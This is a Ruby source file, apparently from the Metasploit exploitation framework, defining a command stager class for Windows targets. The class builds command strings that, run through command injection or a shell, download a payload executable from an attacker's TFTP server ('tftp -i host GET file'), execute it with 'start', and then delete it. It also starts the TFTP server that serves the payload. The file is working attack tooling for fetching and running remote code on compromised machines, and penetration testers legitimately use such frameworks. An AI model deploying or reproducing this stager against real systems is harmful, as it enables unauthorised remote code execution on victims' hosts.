# -*- coding: binary -*- require 'rex/text' require 'rex/arch' module Rex module Exploitation ### # # This class provides the ability to create a sequence of commands from an executable. # When this sequence is ran via command injection or a shell, the resulting exe will # be written to disk and executed. # # This particular version uses tftp.exe to download a binary from the specified # server. The original file is preserved, not encoded at all, and so this version # is significantly simpler than other methods. # # Requires: tftp.exe, outbound udp connectivity to a tftp server # # Written by Joshua J. Drake # ### class CmdStagerTFTP < CmdStagerBase def generate(opts = {}) if opts[:tftphost].nil? raise "#{self.class.name}##{__callee__} missing opts[:tftphost]" end opts[:linemax] ||= @linemax opts[:file] ||= "#{Rex::Text.rand_text_alpha(8)}.exe" opts[:temp] ||= '%TEMP%' @payload_exe = opts[:file] @payload_path = opts[:temp] == '.' ? opts[:file] : "#{opts[:temp]}\\#{opts[:file]}" generate_cmds(opts) end def setup(mod) self.tftp = Rex::Proto::TFTP::Server.new self.tftp.register_file(@payload_exe, exe) self.tftp.start mod.add_socket(self.tftp) # Hating myself for doing it... but it's just a first demo end def teardown(mod = nil) self.tftp.stop end def generate_cmds_payload(opts) cmds = [] # We can skip the destination argument if we're writing to the working directory, # as tftp defaults to writing the file to the current directory with the same filename. if opts[:file] == @payload_path cmds << "tftp -i #{opts[:tftphost]} GET #{opts[:file]}" else cmds << "tftp -i #{opts[:tftphost]} GET #{opts[:file]} \"#{@payload_path}\"" end cmds end def generate_cmds_decoder(opts) cmds = [] cmds << "start \"#{@payload_path}\"" # NOTE: We can't delete the payload while it is running. cmds << "del \"#{@payload_path}\"" unless opts[:nodelete] cmds end def cmd_concat_operator ' & ' end attr_reader :exe attr_reader :payload_exe attr_accessor :tftp end end end